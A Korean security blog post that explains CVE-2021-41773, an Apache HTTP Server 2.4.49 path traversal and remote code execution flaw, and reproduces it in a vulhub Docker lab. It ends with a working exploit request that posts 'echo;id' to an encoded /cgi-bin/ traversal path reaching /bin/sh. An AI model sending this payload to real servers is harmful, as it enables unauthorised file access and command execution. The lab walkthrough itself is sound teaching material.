Notice
Recent Posts
Recent Comments
Link
«   2026/05   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
31
Tags
more
Archives
Today
Total
관리 메뉴

정뾰안 - 정보보안 블로그

Apache Path Traversal 취약점 실습 (CVE-2021-41773) 본문

CVE

Apache Path Traversal 취약점 실습 (CVE-2021-41773)

정뾰안 2026. 2. 8. 21:10

CVE-2021-41773 요약

취약점 개요 Apache HTTP Server에서 발생하는 경로탐색(Path Traversal) 및 원격 코드 실행(RCE) 취약점
취약점 내용 Apache HTTP Server 2.4.49에서 URL 정규화 처리 미흡으로 인해 공격자가 ../ 패턴을 이용해 웹 루트 밖의 파일에 접근 가능하며 특정 설정 환경에서는 CGI 스크립트 실행을 통해 임의 명령 실행 가능
영향 인증 없이 임의 파일 읽기 및 정보 유출, CGI 활성화 시 원격 명령 가능
대응 방안 Apache HTTP Server 2.4.51 이상으로 업데이트 또는 취약 버전 사용 중지
CVSS 7.5
공개일 2021년 10월 05일

 

1. CVE-2021-41773 취약점 설명

CVE-2021-41773은 Apache HTTP Server 2.4.49에서 발생하는 경로 탐색(Path Traversal) 취약점이다.

Apache가 요청 URL을 파일 시스템 경로로 변환하는 과정에서 URL 정규화 및 경로 검증이 불완전하게 수행되어, 공격자가 인코딩된 ../ 패턴을 이용해 웹 루트 외부의 파일에 접근할 수 있다.

이 취약점으로 인해 인증 없이 서버 내부의 중요 파일을 읽을 수 있으며 설정 파일 및 소스 코드 유출로 이어질 수 있다. 특히 CGI 기능이 활성화된 환경에서는 경로 탐색을 통해 시스템 명령 실행 파일에 접근이 가능해지면서 원격 명령 실행(RCE)으로 확장될 수 있다.

 


2. 실습

테스트 환경 및 공격 실습은 깃허브에 공개된 데이터를 사용하여 진행한다. 테스트 환경을 세팅하기 위해서는 Docker가 먼저 설치되어 있어야 한다. Docker 설치는 본 블로그의 'Ubuntu에 Docker 설치하기 (VMware)' 게시물을 확인하기 바라며, 본 게시물에서는 Docker 설치 과정은 생략하겠다.

 

Docker 설치

 

Ubuntu에 Docker 설치하기 (VMware)

개요VMware에 Ubuntu를 설치하고 그 안에 Docker를 설치하려고 한다. 추가로, Docker 사용 편의를 위해 설치 마지막에 Portainer까지 설치해서 접속 해볼 예정이다. 사용한 버전은 다음과 같다.구분버전비

yeongiee.tistory.com

 

 


◇ 환경 구성

◎ Docker를 실행한다.

 

◎ 깃허브에서 테스트 환경 이미지를 확인한다.

(https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2021-41773)

 

vulhub/httpd/CVE-2021-41773 at master · vulhub/vulhub

Pre-Built Vulnerable Environments Based on Docker-Compose - vulhub/vulhub

github.com

 

 

◎ 위에서 확인한 Docker 테스트 환경을 다운로드 한다.

curl -O https://raw.githubusercontent.com/vulhub/vulhub/refs/heads/master/httpd/CVE-2021-41773/docker-compose.yml
curl -O https://raw.githubusercontent.com/vulhub/vulhub/refs/heads/master/httpd/CVE-2021-41773/Dockerfile

 

 

◎ 이미지를 빌드해서 백그라운드로 컨테이너를 실행한다.

docker-compose up -d --build

 

 

◎ Portainer에 접속해서 확인해보면 테스트 서버가 잘 실행된 것을 알 수 있다. docker ps 명령을 통해 CLI에서도 확인 가능하다.

 

 

 

◇ 공격 실습

◎ 브라우저를 통해 테스트 서버에 접근한다. 이때 BurpSuite를 통해 요청 패킷을 잡는다.

 

 

◎ 요청 패킷을 POST 메소드로 변경하고 특정 경로와 Body 값을 삽입 후 전송한다. 응답 패킷에 명령어 결과가 노출되는 것을 확인할 수 있다.

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: [공격대상]
Content-Length: 0

echo;id